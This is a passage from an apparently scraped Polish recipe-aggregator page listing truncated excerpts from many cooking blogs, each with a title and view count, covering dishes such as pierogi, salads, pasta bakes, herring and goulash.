rozleciała. Na dużej patelni rozgrzej trochę oleju kokosowego. Wylej pomidory z puszki, dodaj czosnek, bazylię, duś. Możesz dosmaczyć oliwą z oliwek,dodaj fasolę, wymieszaj. Wbij jaja na gotowy sos z fasolą. Przykryj pokrywką. Pozwól białku ściąć się całkowicie. Podawaj skropione oliwą z oliwek. Jest to jedyny typ fasoli ,po którym nie mam wzdęć i innych problemów. Warto używać jej również

Z Kuchni Do Kuchni
Pierogi z kaszą gryczaną ,mięsem i grzybami leśnymi 197

kartonu dajemy na ciepłą mocno patelnię. Dosmaczamy oliwą z oliwek, solą, bazylią. Wrzucamy pierogi, ścieramy parmezan. Przykrywamy i jakby dusimy chwilkę, aż lekko napęcznieją i wchłoną w siebie aromat sosu. Podajemy z parmezanem. Wino? Czemu nie. Pyszne, nieziemsko pyszne są takie swojskie pierogi. Warto zrobić więcej.Dziecinnie proste

Z Kuchni Do Kuchni
SURÓWKI DO OBIADU. MOJA LISTA TOP. 185

sól, pieprz, ocet balsamiczny, miód Pomidorka i ogórka kroimy w kostkę. Fetę w drobną kosteczkę. Wszytko mieszamy w misce.  Z w/w składników na dressing robimy przy pomocy blendera sos do surówki. Gotowe! Życzę Smacznego! Zapraszam Was na Facebooka i Instagrama smyk_w_kuchni_blog

SMYKWKUCHNI
Warstwowa sałatka śledziowa z papryką 193

Odsączamy. Ogórki kroimy w plasterki, papryki w paski. Majonez, śmietanę, jogurt i przyprawy mieszamy ze sobą. Na dnie szklanego naczynia układamy śledzie, następnie cebulę, ogórki i paprykę. Całość zalewamy sosem majonezowym. Sałatkę odstawiamy na pół godziny do lodówki

e-PrzepisyKulinarne
Fuczki – placuszki z kiszoną kapustą 203

Fuczki to nieskomplikowane placki z ciasta naleśnikowego i kiszonej kapusty pochodzące z Bieszczad. Podałam je na ciepło z sosem czosnkowym. Składniki: 1 jajko szklanka mleka, 1 i 1/3 szklanki mąki pszennej ok 200 g kapusty kiszonej sól, pieprz,majeranek Przygotowanie Jajko roztrzepujemy z mlekiem, dodajemy przyprawy i mąkę. Ciasto powinno być dość gęste. Kapustę płuczemy jeśli jest zbyt kwaśna, odciskamy

e-PrzepisyKulinarne
Zapiekanka makaronowa z łososiem 179

podsmażamy na maśle. Łososia kroimy w kostkę, ser ścieramy na tarce, koperek siekamy. Makaron, łososia i por przekładamy do miski. Mąkę mieszamy ze śmietaną, sokiem z cytryny i koperkiem. Sos śmietanowy mieszamy z makaronem i pozostałymi składnikami, przyprawiamy solą i pieprzem. Zapiekankę wykładamy do naczynia żaroodpornego i posypujemy serem żółtym. Zapiekamy około 20 minut w temp

e-PrzepisyKulinarne
Prosta sałatka ” Karnawałowa „ 479

odsączyć składniki, żeby sałatka nie pływała na drugi dzień . Uwielbiam sałatki Składniki : 1 puszka kukurydzy kilka płatów papryki konserwowej ( około 4 – 5 szt ) 1 puszka czerwonej fasoli w sosie własnym 8 jajek ugotowanych na twardo duży ,pęczek szczypiorku razem z cebulką dymką 1 łyżka ,słodkiej ,wędzonej papryki ,mielonej 1 duża łyżka musztardy grillowej 1 łyżka majonezu sól , chilli

Ogrodnik w podróży
Waniliowy deser ryżowy z owocami 201

Pomysł na kolejny nietypowy deser, tym razem z wykorzystaniem ryżu. Jest obłędnie waniliowy, a kwaskowaty sos owocowy świetnie komponuje się z jego słodkim smakiem. Przepis jest prosty i szybki, więc każdy poradzi sobie z jego przygotowaniem. Czytaj więcej

Czekoladowa muffinka
Czerwony ryż z tuńczykiem i pieczarkami curry 210

ryżu czerwonego, ·        150 g pieczarek, ·        1 puszka tuńczyka w kawałkach, w sosie własnym (120 g), ·        1 białą cebula, ·        1 łyżka suszonej naci pietruszki, ·        50 ml wytrawnego wina białego

Moniki Smakołyki
Śledzie w sosie śmietanowo-majonezowym, z koperkiem, kiszonym ogórkiem i kukurydzą 216

śledziami. Przynajmniej mnie. Najzwyklejsze śledzie w śmietanie można za każdym razem podawać odrobinę inaczej. Wystarczy dodatkowy składnik lub przyprawa inna niż zwykle. Kiedy pierwszy raz robiłam śledzie w sosie curry, to nie spodziewałam się, że aż tak mi zasmakują. Śledzie marynowane w kiszonych ogórkach także są pyszne. A z cytryną i ostrą papryka? Rewelacja! Naprawdę nie trzeba cudów, żeby coś

Codzienna kuchnia niecodzienna
Truflowe zapiekanki 175

wykładam szynkę , ser z truflami i wstawiam do rozgrzanego piekarnika na 10 minut , po tym czasie wyciągam z piekarnika  i gotowe do podania , super smakują z sosem czosnkowym , ale to już według uznania

Mój Smak
Tacos z kurczakiem 262

Składniki: 1 filet z kurczaka 1 cebula 5 dkg sera żółtego 1/2 szklanki sosu meksykańskiego Fanex cebulka prażona Fanex sól, pieprz słodka papryka 5 kukurydzianych placków do tacos Przygotowanie: Cebulę posiekać, … Czytaj dalej Tacos z kurczakiem

czarrna od kuchni
Jak zrobić pszenny placek do wrapów? 947

skomplikowane. Ja na przestrzeni lat sporo się nauczyłam, a teraz jestem na etapie odkrywania nowych nieznanych mi wcześniej składników. Kiedyś szczytem kunsztu kulinarnego było dla mnie kupienie mięsa i sosu ze słoika i przygotowanie spaghetti, teraz staram się robić wszystko od podstaw i wyeliminować gotowce. Dlatego dzisiaj mam instruktaż jak przygotować domową tortille, czyli placki na wrapy. A w przyszłości

Delusional Trine
Co Lila jadła w środę? 34 (kulinarne inspiracje dla całej rodziny) 249

dodatku cukru). II Śniadanie 10:30 Mango Zupa 13:00 Zupa ziemniaczana ze szpinakiem. II Danie 16:00 Spaghetti. Mięso mielone podsmażyłam na patelni z cebulą, a później ugotowałam sos pomidorowy. Oprócz tego, Lilce zrobiłam pulpeciki więc trochę nietypowo jak na spaghetti, ale fajnie wyglądają i lepiej się je takie kuleczki. Mięso mielone zmiksowałam w thermomixie, dodałam paprykę słodką, pieprz

lady-och-mistrzyni.blogspot.com
4 sosy do jajek na twardo 218

Cztery różne sosy do jajek na twardo. Czytaj więcej

Biały fartuszek
Wegański bigos z 3 rodzajów kapusty 328

garnku rozgrzej 3 łyżki oleju roślinnego i duś kapustę. Pieczarki pokrój na ćwiartki (lub wedle uznania) i partiami wrzucaj na patelnię, mają się podsmażyć a nie ugotować we własnym sosie. Pilnuj kapusty aby się nie przypaliła, mieszaj od czasu do czasu. Po około 30 minutach dodaj posiekany jarmuż i kapustę pekińską. Duś razem 10 minut. Po tym czasie dodaj przyprawy

greenscarf
Pasta jajeczna z suszonymi pomidorami i owczym serem 171

Wyrazista w smaku pasta jajeczna z suszonymi pomidorami i twardym serem pecorino romano. Jest to oryginalny dodatek do pieczywa na śniadanie, polecam! Składniki: 5 jajek 1 puszka tuńczyka w sosie własnym 3 suszone pomidory w zalewie olejowej 1 czerwona cebula 1 ząbek czosnku 50 g owczego sera pecorino romano 1 łyżka majonezu 1 łyżka śmietany 18% sól i pieprz

Wanilia i Kardamon
Cykoria duszona z malinami 172

gorzkiego smaku cykorii możemy wyciąć głąb, będzie delikatniesza. Smażymy 20 minut odwracając cykorię co jakiś czas, żeby się równo usmażyła. Następnie dodajemy wino, mało, miód, paprykę i pieprz. Mieszamy sos i dusimy 10 minut pod przykrywką. Na koniec dodajemy maliny i dusimy jeszcze chwilkę. Podajmy jako sałatkę na ciepło lub dodatek do obiadu. Lubisz moje wpisy? Bądź na bieżąco

Ugotowane pozamiatane
Tajskie smaki czyli warzywa a'la pad thai 203

olej kokosowy (do smażenia) -olej sezamowy (do polania) -sok z limonki -pół cebuli i ząbek czosnku -przyprawy: imbir, słodka papryka, chili (najlepiej świeża lub suszona w całości),odrobina soli, sos rybny i sojowy -świeża kolendra lub szczypiorek -dla zaawansowanych: pasta tamaryndowca (daje naprawdę dużo smaku) -łyżka miodu -prażone orzeszki ziemne    Wykonanie: Na rozgrzany olej kokosowy wrzucamy cebulę

Gawron w rosole
Mini Quiche z warzywami 177

wszystkiego co lubicie. Dzisiejsze quiche są z groszkiem, marchewką, kukurydzą, białym szparagiem, różyczką z surowej szynki, orzeszkami piniowymi, szalotką, czerwoną cebulą. ( Jeśli nie jecie mięsa, szynkę pomijamy). Polane delikatnym sosem serowo-jajecznym wprost rozpływają się na języku. W przepisie podaje

dolcevitainmykitchen
Warzywne gołąbki z kapusty włoskiej z sosem paprykowym. 187

Warzywne gołąbki z kapusty włoskiej z sosem. Edyta Guhl. Klasyczne, niemieckie gołąbki, czyli Kohlrouladen, robione są z białej kapusty i mięsnego nadzienia. Nie znajdziecie w nich ryżu. Kształtem również różnią się od polskich, sa mniejsze i bardziej owalne. Serwowane są z na obiad gotowanymi ziemniakami. Czy są smaczniejsze? No cóż, każda pliszka swój ogonek chwali, chociaż Niemcom bardzo

dolcevitainmykitchen
Tort z makaronu 223

Tort z makaronu. Edyta Guhl Włoskie krajobrazy w Eifel. Na blogu z wdzięczną nazwą w tytule,, dolce vita“ nie powinno zabraknąć włoskich potraw, makaronu z domowym sosem pomidorowym z odrobiną bazylii, spagetti podsmażonego na patelni z czosnkiem i dobrą oliwą, nie mówiąc już o warzywnej lasagne z dużą ilością amore...Kluski są dobre na wszystko, na jesienną słotę, zły humor

dolcevitainmykitchen
Placki ziemniaczane 231

dobrze rozgrzanym oleju. W wersji bezmięsnej do placków zrobiłam sosik jogurtowy ze szczypiorkiem  z odrobiną soli i cukru oraz sałatkę z roszponki i pomidorów polaną tym właśnie sosem

Kulinarne przemyslenia
Koperkowe pulpety z mięsa mielonego 176

Koperkowe pulpety z mięsa mielonego były pomysłem by do sosu koperkowego przygotować pulpety z mięsem mielonym oczywiście z dodatkiem koperku. Obiad był mocno koperkowy 🙂 Pyszny i dzieci zjadły koperek – mimo iż za nim nie przepadają. Pulpety są ąłtwe w wykonaniu – nalezy do tradycyjnych dołożyć koperek 🙂 Składniki na: Koperkowe pulpety z mięsa... Read More The post Koperkowe pulpety

Magiczny Garnek
Kulinarna wyprawa do Wólki Kosowskiej 179

jednym a drugim barem, Wiktoria zabrała nas na spożywcze zakupy do jednego z zaprzyjaźnionych sklepów. Była to dla mnie oceniona lekcja tego co jest co w świecie różnorodnych przypraw, sosów, makaronów, warzyw, ziół i innych produktów, które są wykorzystywane  w kuchni orientalnej. Teraz już wiem co warto kupić ! Nie muszę Wam chyba mówić, że ze sklepu wyszłam porządnie obładowana

Kulinarne przygody Gatity
Makaron ze szpinakiem i gorgonzolą 178

200g ulubionego makaronu  * 500g szpinaku mrożonego * 200ml śmietany kremówki  * 100g gorgonzoli  Przygotowanie : Makaron ugotować al dente. Szpinak rozmrozić na patelni, dodać kawałki sera oraz śmietankę. Zagotować. Sosu nie trzeba doprawiać. Wymieszać z makaronem. Podawać na ciepło

Magiczne Życie Marty
GULASZ PO WĘGIERSKU- SPRAWDZONY PRZEPIS 180

solą i smażę na maśle. Dodaję słodką i ostrą paprykę. Cebulę kroję w drobną kostkę, dodaję do mięsa, zalewam bulionem i duszę, aż mięso będzie miękkie.  Następie zagęszczam sos: mąkę mieszam z zimną wodą, wlewam do gulaszu, dokładnie mieszam i dusze jeszcze przez 5 minut.  Gotowy gulasz podaję z kluskami śląskimi

Kukuleczki
Kurczak curry z Sambar Masala 263

dusimy pod przykryciem co jakiś czas mieszając ,żeby się nie przypalił około 10 minut . Pomidory z puszki , miksujemy z miodem , wlewamy do pozostałych składników i dusimy tak długo , aż sos curry się zredukuje o połowę , stając się naturalnie gęsty . Gotowe , podajemy ze smażonymi kosteczkami ziemniaków z czarnuszką lub ryżem Smacznego !   Post Kurczak curry z Sambar Masala pojawił się poraz

Ogrodnik w podróży
"Bosacka po polsku" Nowoczesne przepisy kuchni polskiej 183

główne: pstrąg w maku, łosoś z miodem i lazurem, ryż pietruszkowy, sajgonki warzywne, gęś owsiana podawana z zielonymi kopytkami i czerwoną kapustą, schabowy w maślance, mini kotlety mielone z sosem czosnkowo - ogórkowym, puree z groszku, obsmażana marchewka i wiele innych przepisów oraz desery: mnie urzekły pierogi czekoladowe z jabłkiem i serem, ajerkoniak z jezynami, tarta makowa z bezą, ciasto buraczkowe

kruche babeczki
Makaron z pesto i fetą 171

Pesto to pochodzący z Włoch zielony sos, w którego skład wchodzą: oliwa, bazylia, parmezan, orzeszki piniowe i sól. Używany jest przede wszystkim jako dodatek do makaronów. Ze względu na jego wartości odżywcze warto włączyć go do codziennej diety. Składniki : - makaron pełnoziarnisty z pszenicy durum - ser feta - pesto - można kupić gotowe lub przyrządzić samemu z wyżej wymienionych składników, które należy razem

Kuchenne innowacje
Dorsz z jajkiem w koszulce 149

odrobiną soku z cytryny. Do woreczka śniadaniowego wbić jajko, przyprawić szczyptą lubczyku, tymianku, estragonu i soli. Zawinąć i włożyć do wrzątku na 4 minuty. Ja podałam na sałacie w sosie vinegrette.. Smacznego

Gaździnka warzy
Kuchnie świata: Pieczony omlet z warzywami z San Escobar 157

plasterki i układamy na wierzchu masy z warzywami. Wstawiamy do piekarnika nagrzanego na 180 stopni i pieczemy 30 minut. Escobarczycy podają pieczony omlet z warzywami na ciepło z dodatkiem sosów typu mojo, ale sprawdzi się dip jogurtowy lub czosnkowy. To lekkie danie jest smaczne także na zimno jako przekąska w ciągu dnia. Mieszkańcy San Escobar wiedzą, co jest dobre

My Chcemy Jeść
Gulasz z kaszą jęczmienną 220

przepyszne. Gulasz ten można przygotować z ulubionymi przyprawami, doprawiać wg własnego gustu. Składniki: 500g mięsa gulaszowego 1 średnia cebula zioła prowansalskie odrobina gałki muszkatołowej sól pieprz mąka do zagęszczenia sosu olej do smażenia woda do podlewania mięsa kasza jęczmienna Przygotowanie: Na patelni rozgrzać olej. Obrać cebulę i drobno ją posiekać. Pokroić mięso na drobne kawałki. Na rozgrzany olej wrzucić cebulę

Motylkowa Kuchnia
ROLADKI Z CIASTA FRANCUSKIEGO Z SEREM I SZYNKĄ 807

goszczą roladki na wytrawnie z serem i szynką. Prosta przekąska a jaka smaczna :) Idealne na różnego rodzaju imprezy. Polecam :) Takie roladki smakują wyśmienicie, np z ketchupem, majonezem albo  sosem czosnkowym  od  Folwark . Składniki: * 1 arkusz ciasta francuskiego * plastry sera, np gouda * plastry szynki konserwowej * ketchup Wykonanie: Arkusz ciasta francuskiego rozwinąć. Wzdłuż dłuższego boku układać plastry sera jeden

Zrób to smacznie
Fileciki w cebulowym cieście 540

Kurczak w cieście może zastąpić nam nieposkromioną ochotę na domowy fast food. Wystarczy kilka sosów, frytki i obiad gotowy. 600 g fileta z piersi kurczaka (1 podwójny) 1 duża cebula Przyprawa do mięsa Oregano Słodka czerwona papryka Ciasto: 2 jajka 0,5 szklanki mąki pszennej ¾ szklanki mleka Sól Pieprz Filet z piersi kurczaka kroimy w paseczki. Doprawiamy przyprawą do mięsa

VioletoweKucharzenie
Zimowy ramen. 201

porcje):  2 piersi z kurczaka 4 jajka 1/2 kapusty pekińskiej 1 opakowanie kiełków słonecznika 1 pęczek szczypiorku 600 ml bulionu 2 łyżki pasty miso (opcjonalnie) 1 łyżka sosu mirin (opcjonalnie) makaron japoński lub chiński (pszenny) 2 cm imbiru sól i pieprz 4 łyżeczki pokruszonych suszonych alg (opcjonalnie) olej do smażenia Wykonanie: Piersi z kurczaka skropić olejem i oprószyć solą

zadanie-gotowanie
Big Adriano – klimatyczne miejsce, ale… 258

dużo pepperoni, pieczarek, mozzarelli, pomidorów. Ale niestety były one chłodne w porównaniu do samego ciasta – może za późno wyłożone na ciasto, a po rozkrojeniu na cały talerz wypłynął sos pomidorowy. Kochani szykujcie się też na nie lada gimnastykę – jeśli zamówicie jedną pizzę na dwoje, to będziecie musieli się nagimnastykować, aby przełożyć kawałek pizzy na swój talerz – przydałaby

Kulinarnyblog.pl - wiesz jak gotować!
Babeczki z jajem 250

ciasto prawie po brzegi. Lekko natłuścić olejem za pomocą pędzelka. Piec ok 20-25 minut w 180 stopniach. Podawać 5-10 minut po wyjęciu z piekarnika. Podawać z ulubionym sosem jogurtowym lub z kiełkami

Smakołyki Asi
Makaron z sosem z dyni i polędwicą wieprzową 198

towarzystwa do jedzenia. Danie wyszło wyborne i smakowite. Ja użyłam tutaj dyni świeżej bo takową jeszcze mam z zapasów jesiennych. Polecam gorąco taki obiad na chłodne dni. Makaron z sosem z dyni i polędwicą wieprzową. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Babeczki majonezowe z jabłkiem 216

babce majonezowej ) oraz startych jabłek. Majonez nie jest wyczuwalny w smaku, więc nawet jeśli za nim nie przepadacie, nie obawiajcie się, że babeczki smakują jak ten popularny sos. Babeczki są lekkie, gdyż w ich składzie nie ma innego tłuszczu, niż ten pochodzący z majonezu. Nie są też suche, jak biszkopt, gdyż zarówno majonez, jak i jabłka wpływają na ich wilgotność

Smakołyki Bereniki
Kurczak w warzywach, pyszny i aromatyczny. 207

piekłam go troszkę ponad godzinkę. Kupny kurczak upiecze się szybciej. Musicie po prostu kontrolować,po włożeniu widelca ma być miękki. Upieczonego kurczaka można wyjąć a zawartość rondla zmiksować na sos. Ja jednak podaję warzywa w całości tak lubi moja rodzina. Smacznego

Sama słodycz i szczypta chili
Warsztaty z Pascalem Brodnickim 305

sandacza, rozgrzej pozostałą część Ramy Smaż jak szef kuchni, podsmaż je 2-3 minuty z każdej strony (w zależności od grubości ryby). Rozłóż rybę na ciepłych talerzach, polej sosem i podawaj z grzybami. Tostowana drożdżówka z karmelizowanymi pomidorami i lodami Składniki dla 4 osób Czas przygotowania: 30 min. Składniki: 4 dużych pajd drożdżówki 2 rozbełtane jajka 1 laska wanilii (przekrojona

karmelowy
Szybki makaron z pomidorami 200

oliwki. Smażyć ok 2 min. 5. Następnie dodać pomidory i smażyć jeszcze ok 4 min. Dodać ocet balsamiczny i ewent. chili. 6. Makaron odcedzić. Ciepły makaron wymieszać z sosem. 7. Doprawiamy solą i świeżo zmielonym czarnym pieprzem. Instrukcja wykonania - film

Atlas Smaków
FRANCUSKIE CYGARA ZE SZPINAKIEM I FETĄ 486

Smaczna i szybka przekąska, która szybko znika ze stołu. Podajemy z ulubionym sosem.   SKŁADNIKI 1 płat ciasta francuskiego, 250 g mrożonego szpinaku, 200 g sera feta, kilka suszonych pomidorów, jajko, czarnuszka, 2 łyżki masła, 2 ząbki czosnku, sól, pieprz WYKONANIE Masło rozpuszczamy, dodajemy szpinak oraz czosnek przeciśnięty przez praskę, smażymy aż woda odparuje. Doprawiamy solą i pieprzem. Fetę kroimy

słodki bratek
Zapiekanka makaronowa z łososiem i szpinakiem 361

Zapiekanka makaronowa z łososiem i szpinakiem – chodziła za mną już od jakiegoś czasu :) Jest banalnie prosta, a makaron z kawałkami świeżego łososia, szpinakiem oraz śmietanowym sosem na pewno zasmakuje nie jednemu :) Może zaciekawi Was również przepis na zapiekankę ryżową: Kebab – Gyros (klik). Zapiekanka makaronowa z łososiem i szpinakiem – Składniki: 300g świeżego […] The post Zapiekanka makaronowa

Kulinarne Przeboje
Kopytka z majerankiem 191

wierzchu i od razu wyciągamy. Układamy na talerzu jako dodatek do dań mięsnych lub jako samodzielne danie polane masełkiem lub skwarkami ze słoninki. Bardzo dobrze komponują się również z sosem pieczarkowym lub grzybowym

Kulinarne przemyslenia
FIT TIKKA MASALA Z CUKINIĄ 228

cycąco. Polecam :) Tikka Masala - brytyjskie danie oparte na tradycji kuchni indyjskiej i pakistańskiej.Grillowany lub smażony filet z kurczaka , który uprzednio został zamarynowny w przyprawach tikka, podawany w specjalnym sosie masala z pomidorów i aromatycznych przypraw. Podawane na ciepło.  SKŁADNIKI: Mięso i marynata 2 filety z kurczaka pojedyncze 1 łyżka curry EVITA 1 łyżeczka czosnku niedźwiedziego EVITA 1 łyżeczka

Gotowanie Patki
Warkocze z sezamem i makiem 187

spokojnego sobotniego popołudnia zabrałam się za robótki ręczne i na bazie mojego bagietkowego przepisu wyplotły się drożdżowe warkocze z duża ilością sezamu i maku. Dzieci schrupały je z sosem jogurtowo czosnkowym i dzisiaj domagają się nowej porcji, a ja chyba dam się namówić na powtórkę, bo nic tak pięknie nie pachnie w domu jak wypiek pieczywa. Składniki na 12 warkoczy

Apetyczna babeczka
Karkówka bekonowa 267

Taką karkówkę upiekłam jako wędlinę na kanapki, jest bardzo smaczna i soczysta. Gdy nam się znudziła pokroiłam w plastry i podałam z sosem pieczeniowym jako danie obiadowe. Do karkówki użyłam przypraw z zestawu domowa wędzonka od firmy Tradismak . Składniki: 2 kilogramy karkówki  2 łyżki przyprawy becon-mix Sekwens 2 łyżeczki soli 1 łyżka przyprawy smaczuś Sekwens 2 łyżki majeranku

Bajeczna Kuchnia
Ciepła sałatka z komosą ryżową (quinoa), batatami i jarmużem 255

jarmużu ( miałam fioletowy) 1 szklanka ugotowanej komosy lub 1  szklanka   suchej 1 cebula czerwona, pokrojona w kostkę nasiona granatu z 1/2 owocu świeża kolendra do podania sos 1/4 szklanki świeżego soku pomarańczowego (z 1 - 2  pomarańczy) 2 łyżka oliwy z oliwek  pieprz  sól morska Przygotowanie Komosę opłukać na sicie pod bieżącą wodą co najmniej

Stare Gary
Spaghetti z cukinią i pulpecikami z indyka 258

bazylią oraz słodką papryka, połączyć z kaszą manną, oliwą i dokładnie wyrobić. Z masy formować małe kuleczki i podsmażyć na rozgrzanej patelni* do zarumienienia. W międzyczasie przygotować makaron i sos: W osolonej wodzie ugotować makaron, koniecznie al dente. W trakcie gotowania się makaronu c ukinię wymyć i pociąć (ze skórką) obieraczka do warzyw julienne które przypominają makaronowe nitki spaghetti. Cebulę

Kraina Miodem Płynąca
Fasolka po bretońsku. 198

Składniki: -3 słoiki fasoli białej w sosie pomidorowym -6 kiełbas śląskich -100 gram boczku -3 łyżki koncentratu pomidorowego -cebula -majeranek -sól -pieprz Sposób przygotowania: Fasole wrzucamy do garnka, dolewamy odrobinę wody i podgrzewamy na najmniejszym ogniu. Mieszamy od czasu do czasu by się nie przypaliło. Kiełbasę kroimy w kostkę i podsmażamy na patelni. Kiedy się troszkę zarumieni dodajemy pokrojony

Magia jedzenia.
Pieczone udka z kurczaka na warzywach 224

blachę wykładamy warzywa, skrapiamy je oliwą wymieszaną z przyprawami i na całość wykładamy udka. Pieczemy jeszcze ok 30 min. Oczywiście, możecie użyć Waszych ulubionych przypraw. Danie świetnie smakuje z sosem czosnkowym lub tysiąca wysp. Olej kokosowy z przepisu możecie zastąpić dowolnym, preferowanym przez Was tłuszczem. Drukuj Pieczone udka z kurczaka na warzywach Składniki 2 udka 1 papryka czerwona 1 papryka

Mieszam w Garnku
Schab w miodowej marynacie. 190

wkładamy do nagrzanego do 200 stopni piekarnika i pieczemy 1 godzinę. Po upieczeniu Wyciągamy i odstawiamy na 5 minut żeby mięso odpoczęło (żeby soki zostały w mięsie). Pozostały sos można zagęścić odrobiną mąki i mamy pyszne dopełnienie naszego obiadu. Podajemy z kluskami i surówką. Smacznego

Moje-pitraszenie
Indyjski wege kebab 164

patelnię wlewamy olej na wysokość ok. 1 cm. Kebaby smażymy na złoty kolor z obu stron. Smakują wyśmienicie zarowno na ciepło, jak i na zimno. Idealne w duecie z sosem miętowym lub czosnkowym. Smacznego

Kuchnia od dwojga
Stek wołowy New York z rozmarynem 209

czasu zrumienienia czosnku. Czosnek zdjąć z patelni, dodać rozmaryn, odrobinę soli i pieprzu i ewentualnie ocet balsamiczny. Jeśli dodamy octu balsamicznego, to na wolnym ogniu redukować płyn, aż sos będzie miał lekko lepką konsystencję (około 2 minuty), samo masełko tylko delikatnie podgrzewać, aby rozmaryn uwolnił swój smak. Jeśli używam suszonego rozmarynu, to rozcieram go w moździerzu i zalewam go gorącym

Kuchcik gotuje
Zapiekanka serowa 293

Składniki 50 dkg łopatki wieprzowej 25 dkg makaronu kokardki Lubella 20 dkg sera żółtego 1 opakowanie serka wiejskiego 1 kulka mozzarelli 1 główka czosnku 1 duża cebula sos pikantny z … Czytaj dalej Zapiekanka serowa

czarrna od kuchni
Mini pizze z oliwkami i serem fetta 204

wyrobić ciasto, naczynie zamknięte, interwał, czas 3 minuty Wykonanie – ciasto podzielić na równe części. Rękoma uformować okrągłe małe pizze, odłożyć na kilka minut do ponownego wyrośnięcia. Posmarować pizze sosem pomidorowym obłożyć piórkami cebuli, fettą pokrojoną w małe kawałeczki oraz oliwkami. Pieczenie – nagrzać piekarnik do 200 C i piec 15 -20 minut. Pizze powinny się zarumienić i upiec

Kuchnia Pokoleń
ZAPIEKANKA Z WARZYWAMI I SOSEM POMIDOROWYM 772

niedźwiedziego. Na maśle podsmażam cebulę ze szczypiorkiem. Dodaję pomidory, posiekany czosnek i przyprawy (chili peperoncini wcześniej rozgnieść w dłoniach). Chwilę duszę na małym ogniu. Makaron łączę z warzywami i sosem, mieszam, przekładam do naczynia żaroodpornego. Całość posypuję serem. Zapiekam w 180 stopniach - 15 minut pod przykryciem, a następnie około 5-7 minut bez pokrywki

JejKuchnia
Sałatka z kurczakiem 215

jajka pokroić w drobną kostkę, pora pokroić w tzw. piórka. Przygotowane składniki dodać do pokrojonej kapusty, Do tego dołożyć czerwoną fasolę i cebulki oraz posiekany szczypiorek, wymieszać.  Składniki sosu wymieszać, zalać nimi sałatkę i wszystko delikatnie przemieszać. Wstawić do lodówki na dwie, trzy godziny. Sałatkę przed podaniem można udekorować ósemkami ugotowanych jajek. Źródło przepisu tutaj

In my kitchen
Sałatka z gruszką i granatem na rukoli 175

rukoli. Serek camembert pokroić w małe trójkąciki i ułożyć między kawałkami gruszki. Całość posypać pestkami granatu. Olej wymieszać z miodem i sokiem z cytryny, ja mieszam w małym słoiczku. Sosem polać sałatkę i od razu podawać

Monia miesza i gotuje
Boeuf Strogonow - wersja oryginalna 221

języka francuskiego oznacza po prostu wołowinę. To przepis dla wielbicieli dań mięsnych. Strogonow w oryginale to polędwica wołowa krojona w wąskie, długie paski, smażona z cebulą w śmietanowym sosie z dodatkiem musztardy. Tylko tyle i aż tyle! To najszybszy gulasz świata, pod warunkiem, że przygotujesz go w pierwotnej wersji - z polędwicy wołowej. Bo tylko polędwica nadaje się do krótkiej obróbki

Gotuj zdrowo!Guten Appetit!
Gołąbki z nadzieniem ziemniaczanym z Beskidu Niskiego - kuchnia podkarpacka 294

liśćmi kapusty i zalewamy gorącym, dobrze posolonym wywarem. Szczelnie przykrywamy. Wstawiamy do piekarnika nagrzanego do 150 stopni C (grzałka góra-dół) i dusimy około 1,5 godziny. Podajemy z sosami: cebulowym, pomidorowym, pieczarkowym lub ze zrumienioną cebulką. Ta piękna ręcznie rzeźbiona łopatka ze zdjęcia to praca podkarpackiego artysty, Jacka Golca . Warto rozglądnąć się za jego pracami, bo tworzy nie tylko

Trzeci talerz
placki z gotowanych ziemniaków 341

Jeden z moich ulubionych sposobów na wykorzystanie, pozostałych z obiadu, gotowanych ziemniaków. Pyszne placki, bardzo proste i szybkie. Tym razem zajadaliśmy je z sosem tzatziki. składniki: około 1/2 kg ugotowanych (najlepiej dzień wcześniej) ziemniaków 1 - 1 1/2 szklanki mąki 1 jajko sól, pieprz wykonanie: Ugotowane i wystudzone ziemniaki przepuszczam przez praskę. Dodaję mąkę, jajko, doprawiam solą i pieprzem, krótko zagniatam

babka w formie
Pesto z rukoli 147

Jeden z najszybszych sosów do makaronu dzisiaj na blogu. Pesto z rukoli z pestkami z dyni to alternatywa popularnego pesto verde z bazylią. Poza makaronem można pesto z rukoli wykorzystać do przygotowania grzanek, zapiekanek, przekąsek lub podać jako dodatek do ulubionych serów. Ja moje pesto wykorzystam dzisiaj do makaronu i focacci. Smakuje cudownie! To takie proste! Pesto z rukoli Składniki

Moja smaczna kuchnia
NUGGETSY Z KURCZAKA 178

obtaczam w jajku potem w bułce. Na rozgrzanej patelni wylewam olej. Mięso smażę na rumiano. Po usmażeniu nuggetsy kładę na ręcznik papierowy by usunąć nadmiar oleju. Podaję z ulubionym sosem

Gotowanie Patki
TORTILLA Z NUGGETSAMI 166

nuggetsy z kurczaka już upieczone --- KLIK TU 1 Garść jarmużu 2 plastry czerwonej papryki 1 tortilla np. pszenna 1 łyżka ketchupu np pikantnego PRZYGOTOWANIE:  Tortille smaruję ulubionym sosem ja użyłam ketchupu. Następnie posypuję umytym, świeżym jarmużem. Nuggetsy z kurczaka kroję na mniejsze części układam na tortilli. Następnie paprykę myję i kroję w mniejsze kawałki. Kładę świeże kawałki papryki czerwonej

Gotowanie Patki
TARTALETKI Z CUKINIĄ I PIECZARKAMI 161

solą i pieprzem oraz niedźwiedzim czosnkiem. Brzegi kwadratów zawijam do środka. Kwadraciki układam na blaszce wyłożonej papierem do pieczenia. Piekę ok 30 minut w 180 stopniach. Podaję z ulubionym sosem

Gotowanie Patki
Makaron z tuńczykiem, pomidorami, kukurydzą i rukolą 456

koktajlowe, rukolę i kukurydzę. Tak na szybko powstało smaczne danie uf ;-). Udanego piątku i weekendu Wam życzę :-) Składniki: 1/2 opakowania makaronu (u mnie kokardki) 2 puszki tuńczyka w sosie własnym kilka pomidorków koktajlowych 1/2 puszki kukurydzy rukola kilka suszonych pomidorów olej z suszonych pomidorów ( 1 łyżka) sól himalajska pieprz Makaron gotuję al'dente. Na patelnię daję troszeczkę oleju w którym

kruche babeczki
Sałatka makaronowa z kurczakiem i suszonymi pomidorami 2118

zalewy duża garść pestek słonecznika i dyni sól, pieprz, suszona papryka 2 łyżki oleju na dressing: 3 łyżki zalewy z pomidorów 2 łyżki ketchupu łyżka musztardy łyżka wody łyżeczka sosu sojowego łyżeczka ziół prowansalskich Makaron ugotować al dente, przecedzić i odstawić do wystygnięcia. Kurczaka pokroić w kostkę, przyprawić i usmażyć na dwóch łyżkach oleju. Suszone pomidory pokroić w paski. Pestki

wyzwania kuchenne
Faszerowane ziemniaki a’la gyros 220

